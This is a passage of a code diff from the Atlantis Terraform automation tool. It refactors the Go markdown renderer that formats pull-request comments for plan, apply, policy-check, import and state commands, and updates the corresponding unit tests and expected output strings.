failureData{result.Failure, resultData.Rendered, common}) + if common.Command == applyCommandTitle { + numApplyFailures++ + } + } resultsTmplData = append(resultsTmplData, resultData) } var tmpl *template.Template switch { case len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses > 0: - tmpl = singleProjectPlanSuccessTmpl + tmpl = templates.Lookup("singleProjectPlanSuccess") case len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses == 0: - tmpl = singleProjectPlanUnsuccessfulTmpl + tmpl = templates.Lookup("singleProjectPlanUnsuccessful") + case len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses > 0: + tmpl = templates.Lookup("singleProjectPlanSuccess") + case len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses == 0: + tmpl = templates.Lookup("singleProjectPolicyUnsuccessful") + case len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses > 0: + tmpl = templates.Lookup("singleProjectVersionSuccess") + case len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses == 0: + tmpl = templates.Lookup("singleProjectVersionUnsuccessful") case len(resultsTmplData) == 1 && common.Command == applyCommandTitle: - tmpl = singleProjectApplyTmpl + tmpl = templates.Lookup("singleProjectApply") + case len(resultsTmplData) == 1 && common.Command == importCommandTitle: + tmpl = templates.Lookup("singleProjectImport") + case len(resultsTmplData) == 1 && common.Command == stateCommandTitle: + switch common.SubCommand { + case "rm": + tmpl = templates.Lookup("singleProjectStateRm") + default: + return fmt.Sprintf("no template matched–this is a bug: command=%s, subcommand=%s", common.Command, common.SubCommand) + } case common.Command == planCommandTitle: - tmpl = multiProjectPlanTmpl + tmpl = templates.Lookup("multiProjectPlan") + case common.Command == policyCheckCommandTitle: + if numPolicyCheckSuccesses == len(results) { + tmpl = templates.Lookup("multiProjectPolicy") + } else { + tmpl = templates.Lookup("multiProjectPolicyUnsuccessful") + } + case common.Command == approvePoliciesCommandTitle: + if numPolicyApprovalSuccesses == len(results) { + tmpl = templates.Lookup("approveAllProjects") + } else { + tmpl = templates.Lookup("multiProjectPolicyUnsuccessful") + } case common.Command == applyCommandTitle: - tmpl = multiProjectApplyTmpl + tmpl = templates.Lookup("multiProjectApply") + case common.Command == versionCommandTitle: + tmpl = templates.Lookup("multiProjectVersion") + case common.Command == importCommandTitle: + tmpl = templates.Lookup("multiProjectImport") + case common.Command == stateCommandTitle: + switch common.SubCommand { + case "rm": + tmpl = templates.Lookup("multiProjectStateRm") + default: + return fmt.Sprintf("no template matched–this is a bug: command=%s, subcommand=%s", common.Command, common.SubCommand) + } default: - return "no template matched–this is a bug" + return fmt.Sprintf("no template matched–this is a bug: command=%s", common.Command) } - return m.renderTemplate(tmpl, resultData{resultsTmplData, common}) + + switch { + case common.Command == planCommandTitle: + numPlanFailures := len(results) - numPlanSuccesses + return m.renderTemplateTrimSpace(tmpl, planResultData{resultsTmplData, common, numPlansWithChanges, numPlansWithNoChanges, numPlanFailures}) + case common.Command == applyCommandTitle: + return m.renderTemplateTrimSpace(tmpl, applyResultData{resultsTmplData, common, numApplySuccesses, numApplyFailures, numApplyErrors}) + } + return m.renderTemplateTrimSpace(tmpl, resultData{resultsTmplData, common}) } // shouldUseWrappedTmpl returns true if we should use the wrapped markdown @@ -176,7 +417,7 @@ func (m *MarkdownRenderer) renderProjectResults(results []models.ProjectResult, // load. Some VCS providers or versions of VCS providers don't support this // syntax. func (m *MarkdownRenderer) shouldUseWrappedTmpl(vcsHost models.VCSHostType, output string) bool { - if m.DisableMarkdownFolding { + if m.disableMarkdownFolding { return false } @@ -185,105 +426,17 @@ func (m *MarkdownRenderer) shouldUseWrappedTmpl(vcsHost models.VCSHostType, outp return false } - if vcsHost == models.Gitlab && !m.GitlabSupportsCommonMark { + if vcsHost == models.Gitlab && !m.gitlabSupportsCommonMark { return false } return strings.Count(output, "\n") > maxUnwrappedLines } -func (m *MarkdownRenderer) renderTemplate(tmpl *template.Template, data interface{}) string { +func (m *MarkdownRenderer) renderTemplateTrimSpace(tmpl *template.Template, data interface{}) string { buf := &bytes.Buffer{} if err := tmpl.Execute(buf, data); err != nil { return fmt.Sprintf("Failed to render template, this is a bug: %v", err) } - return buf.String() + return strings.TrimSpace(buf.String()) } - -// todo: refactor to remove duplication #refactor -var singleProjectApplyTmpl = template.Must(template.New("").Parse( - "{{$result := index .Results 0}}Ran {{.Command}} for {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n\n{{$result.Rendered}}\n" + logTmpl)) -var singleProjectPlanSuccessTmpl = template.Must(template.New("").Parse( - "{{$result := index .Results 0}}Ran {{.Command}} for {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n\n{{$result.Rendered}}\n" + - "\n" + - "{{ if ne .DisableApplyAll true }}---\n" + - "* :fast_forward: To **apply** all unapplied plans from this pull request, comment:\n" + - " * `atlantis apply`\n" + - "* :put_litter_in_its_place: To delete all plans and locks for the PR, comment:\n" + - " * `atlantis unlock`{{ end }}" + logTmpl)) -var singleProjectPlanUnsuccessfulTmpl = template.Must(template.New("").Parse( - "{{$result := index .Results 0}}Ran {{.Command}} for dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n\n" + - "{{$result.Rendered}}\n" + logTmpl)) -var multiProjectPlanTmpl = template.Must(template.New("").Funcs(sprig.TxtFuncMap()).Parse( - "Ran {{.Command}} for {{ len .Results }} projects:\n\n" + - "{{ range $result := .Results }}" + - "1. {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n" + - "{{end}}\n" + - "{{ $disableApplyAll := .DisableApplyAll }}{{ range $i, $result := .Results }}" + - "### {{add $i 1}}. {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n" + - "{{$result.Rendered}}\n\n" + - "{{ if ne $disableApplyAll true }}---\n{{end}}{{end}}{{ if ne .DisableApplyAll true }}{{ if and (gt (len .Results) 0) (not .PlansDeleted) }}* :fast_forward: To **apply** all unapplied plans from this pull request, comment:\n" + - " * `atlantis apply`\n" + - "* :put_litter_in_its_place: To delete all plans and locks for the PR, comment:\n" + - " * `atlantis unlock`" + - "{{end}}{{end}}" + - logTmpl)) -var multiProjectApplyTmpl = template.Must(template.New("").Funcs(sprig.TxtFuncMap()).Parse( - "Ran {{.Command}} for {{ len .Results }} projects:\n\n" + - "{{ range $result := .Results }}" + - "1. {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n" + - "{{end}}\n" + - "{{ range $i, $result := .Results }}" + - "### {{add $i 1}}. {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}`\n" + - "{{$result.Rendered}}\n\n" + - "---\n{{end}}" + - logTmpl)) -var planSuccessUnwrappedTmpl = template.Must(template.New("").Parse( - "```diff\n" + - "{{.TerraformOutput}}\n" + - "```\n\n" + planNextSteps + - "{{ if .HasDiverged }}\n\n:warning: The branch we're merging into is ahead, it is recommended to pull new commits first.{{end}}")) - -var planSuccessWrappedTmpl = template.Must(template.New("").Parse( - "
Show Output\n\n" + - "```diff\n" + - "{{.TerraformOutput}}\n" + - "```\n\n" + - planNextSteps + "\n" + - "
" + - "{{ if .HasDiverged }}\n\n:warning: The branch we're merging into is ahead, it is recommended to pull new commits first.{{end}}")) - -// planNextSteps are instructions appended after successful plans as to what -// to do next. -var planNextSteps = "{{ if .PlanWasDeleted }}This plan was not saved because one or more projects failed and automerge requires all plans pass.{{ else }}" + - "{{ if not .DisableApply }}* :arrow_forward: To **apply** this plan, comment:\n" + - " * `{{.ApplyCmd}}`\n{{end}}" + - "* :put_litter_in_its_place: To **delete** this plan click [here]({{.LockURL}})\n" + - "* :repeat: To **plan** this project again, comment:\n" + - " * `{{.RePlanCmd}}`{{end}}" -var applyUnwrappedSuccessTmpl = template.Must(template.New("").Parse( - "```diff\n" + - "{{.Output}}\n" + - "```")) -var applyWrappedSuccessTmpl = template.Must(template.New("").Parse( - "
Show Output\n\n" + - "```diff\n" + - "{{.Output}}\n" + - "```\n" + - "
")) -var unwrappedErrTmplText = "**{{.Command}} Error**\n" + - "```\n" + - "{{.Error}}\n" + - "```" -var wrappedErrTmplText = "**{{.Command}} Error**\n" + - "
Show Output\n\n" + - "```\n" + - "{{.Error}}\n" + - "```\n
" -var unwrappedErrTmpl = template.Must(template.New("").Parse(unwrappedErrTmplText)) -var unwrappedErrWithLogTmpl = template.Must(template.New("").Parse(unwrappedErrTmplText + logTmpl)) -var wrappedErrTmpl = template.Must(template.New("").Parse(wrappedErrTmplText)) -var failureTmplText = "**{{.Command}} Failed**: {{.Failure}}" -var failureTmpl = template.Must(template.New("").Parse(failureTmplText)) -var failureWithLogTmpl = template.Must(template.New("").Parse(failureTmplText + logTmpl)) -var logTmpl = "{{if .Verbose}}\n
Log\n

\n\n```\n{{.Log}}```\n

{{end}}\n" diff --git a/server/events/markdown_renderer_test.go b/server/events/markdown_renderer_test.go index 2726ceaec9..2fb90c256b 100644 --- a/server/events/markdown_renderer_test.go +++ b/server/events/markdown_renderer_test.go @@ -16,48 +16,92 @@ package events_test import ( "errors" "fmt" + "os" "strings" "testing" "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) +// Strip Carriage Returns, leading and trailing spaces and replace 'dollar' with 'backtick' in the string +func normalize(s string) string { + return strings.TrimSpace(strings.ReplaceAll(strings.ReplaceAll(s, "$", "`"), "\r", "")) +} + func TestRenderErr(t *testing.T) { err := errors.New("err") cases := []struct { Description string - Command models.CommandName + Command command.Name Error error Expected string }{ { "apply error", - models.ApplyCommand, + command.Apply, err, - "**Apply Error**\n```\nerr\n```\n", + "**Apply Error**\n```\nerr\n```", }, { "plan error", - models.PlanCommand, + command.Plan, err, - "**Plan Error**\n```\nerr\n```\n", + "**Plan Error**\n```\nerr\n```", + }, + { + "policy check error", + command.PolicyCheck, + fmt.Errorf("some conftest error"), + "**Policy Check Error**\n```\nsome conftest error\n```", }, } - r := events.MarkdownRenderer{} + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } for _, c := range cases { - res := events.CommandResult{ + res := command.Result{ Error: c.Error, } for _, verbose := range []bool{true, false} { t.Run(fmt.Sprintf("%s_%t", c.Description, verbose), func(t *testing.T) { - s := r.Render(res, c.Command, "log", verbose, models.Github) + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) if !verbose { - Equals(t, c.Expected, s) + Equals(t, normalize(c.Expected), normalize(s)) } else { - Equals(t, c.Expected+"
Log\n

\n\n```\nlog```\n

\n", s) + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } @@ -67,36 +111,73 @@ func TestRenderErr(t *testing.T) { func TestRenderFailure(t *testing.T) { cases := []struct { Description string - Command models.CommandName + Command command.Name Failure string Expected string }{ { "apply failure", - models.ApplyCommand, + command.Apply, "failure", - "**Apply Failed**: failure\n", + "**Apply Failed**: failure", }, { "plan failure", - models.PlanCommand, + command.Plan, + "failure", + "**Plan Failed**: failure", + }, + { + "policy check failure", + command.PolicyCheck, "failure", - "**Plan Failed**: failure\n", + "**Policy Check Failed**: failure", + }, + } + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, }, } - r := events.MarkdownRenderer{} for _, c := range cases { - res := events.CommandResult{ + res := command.Result{ Failure: c.Failure, } for _, verbose := range []bool{true, false} { t.Run(fmt.Sprintf("%s_%t", c.Description, verbose), func(t *testing.T) { - s := r.Render(res, c.Command, "log", verbose, models.Github) + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) if !verbose { - Equals(t, c.Expected, s) + Equals(t, normalize(c.Expected), normalize(s)) } else { - Equals(t, c.Expected+"
Log\n

\n\n```\nlog```\n

\n", s) + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } @@ -104,34 +185,64 @@ func TestRenderFailure(t *testing.T) { } func TestRenderErrAndFailure(t *testing.T) { - r := events.MarkdownRenderer{} - res := events.CommandResult{ + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + res := command.Result{ Error: errors.New("error"), Failure: "failure", } - s := r.Render(res, models.PlanCommand, "", false, models.Github) - Equals(t, "**Plan Error**\n```\nerror\n```\n", s) + cmd := &events.CommentCommand{ + Name: command.Plan, + Verbose: false, + } + + s := r.Render(ctx, res, cmd) + Equals(t, "**Plan Error**\n```\nerror\n```", normalize(s)) } func TestRenderProjectResults(t *testing.T) { cases := []struct { Description string - Command models.CommandName - ProjectResults []models.ProjectResult + Command command.Name + SubCommand string + ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "no projects", - models.PlanCommand, - []models.ProjectResult{}, + command.Plan, + "", + []command.ProjectResult{}, models.Github, - "Ran Plan for 0 projects:\n\n\n\n", + "Ran Plan for 0 projects:\n\n", }, { "single successful plan", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", @@ -144,67 +255,86 @@ func TestRenderProjectResults(t *testing.T) { }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ `, }, { - "single successful plan with master ahead", - models.PlanCommand, - []models.ProjectResult{ + "single successful plan with main ahead", + command.Plan, + "", + []command.ProjectResult{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", - HasDiverged: true, + MergedAgain: true, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ - -:warning: The branch we're merging into is ahead, it is recommended to pull new commits first. + $$$shell + atlantis plan -d path -w workspace + $$$ +:twisted_rightwards_arrows: Upstream was modified, a new merge was performed. --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ `, }, { "single successful plan with project name", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", @@ -218,29 +348,262 @@ $$$ }, }, models.Github, - `Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ + ` +Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful policy check with multiple policy sets and project name", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + // strings.Repeat require to get wrapped result + PolicyOutput: `FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, + Passed: false, + ReqApprovals: 1, + }, + { + PolicySetName: "policy2", + // strings.Repeat require to get wrapped result + PolicyOutput: "2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions", + Passed: true, + ReqApprovals: 1, + }, + }, + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ + +#### Policy Set: $policy1$ +$$$diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ + +#### Policy Set: $policy2$ +$$$diff +2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions +$$$ + + +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +policy set: policy2: passed. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful policy check with project name", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + // strings.Repeat require to get wrapped result + PolicyOutput: strings.Repeat("line\n", 13) + `FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, + Passed: false, + ReqApprovals: 1, + }, + }, + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ + +
Show Output + +#### Policy Set: $policy1$ +$$$diff +line +line +line +line +line +line +line +line +line +line +line +line +line +FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ + + +
+ +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ +$$$ +policy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "single successful import", + command.Import, + "", + []command.ProjectResult{ + { + ImportSuccess: &models.ImportSuccess{ + Output: "import-output", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Import for project: $projectname$ dir: $path$ workspace: $workspace$ + +$$$diff +import-output +$$$ + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ +`, + }, + { + "single successful state rm", + command.State, + "rm", + []command.ProjectResult{ + { + StateRmSuccess: &models.StateRmSuccess{ + Output: "state-rm-output", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran State $rm$ for project: $projectname$ dir: $path$ workspace: $workspace$ + +$$$diff +state-rm-output +$$$ + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ `, }, { "single successful apply", - models.ApplyCommand, - []models.ProjectResult{ + command.Apply, + "", + []command.ProjectResult{ { ApplySuccess: "success", Workspace: "workspace", @@ -248,18 +611,19 @@ $$$ }, }, models.Github, - `Ran Apply for dir: $path$ workspace: $workspace$ + ` +Ran Apply for dir: $path$ workspace: $workspace$ $$$diff success $$$ - `, }, { "single successful apply with project name", - models.ApplyCommand, - []models.ProjectResult{ + command.Apply, + "", + []command.ProjectResult{ { ApplySuccess: "success", Workspace: "workspace", @@ -268,18 +632,19 @@ $$$ }, }, models.Github, - `Ran Apply for project: $projectname$ dir: $path$ workspace: $workspace$ + ` +Ran Apply for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff success $$$ - `, }, { "multiple successful plans", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", @@ -303,10 +668,12 @@ $$$ }, }, models.Github, - `Ran Plan for 2 projects: + ` +Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff @@ -314,10 +681,14 @@ terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ @@ -326,22 +697,127 @@ terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path2 -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url2) + $$$shell + atlantis apply -d path2 -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path2 -w workspace$ + $$$shell + atlantis plan -d path2 -w workspace + $$$ + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "multiple successful policy checks", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + }, + models.Github, + ` +Ran Policy Check for 2 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +#### Policy Set: $policy1$ +$$$diff +4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions +$$$ + + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ +#### Policy Set: $policy1$ +$$$diff +4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions +$$$ + + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path2 -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path2 -w workspace + $$$ --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ `, }, { "multiple successful applies", - models.ApplyCommand, - []models.ProjectResult{ + command.Apply, + "", + []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", @@ -355,10 +831,12 @@ $$$ }, }, models.Github, - `Ran Apply for 2 projects: + ` +Ran Apply for 2 projects: 1. project: $projectname$ dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ +--- ### 1. project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff @@ -372,13 +850,16 @@ success2 $$$ --- +### Apply Summary +2 projects, 2 successful, 0 failed, 0 errored `, }, { "single errored plan", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { Error: errors.New("error"), RepoRelDir: "path", @@ -386,19 +867,20 @@ $$$ }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Plan for dir: $path$ workspace: $workspace$ **Plan Error** $$$ error $$$ - `, }, { "single failed plan", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", @@ -406,16 +888,17 @@ $$$ }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Plan for dir: $path$ workspace: $workspace$ **Plan Failed**: failure - `, }, { "successful, failed, and errored plan", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + "", + []command.ProjectResult{ { Workspace: "workspace", 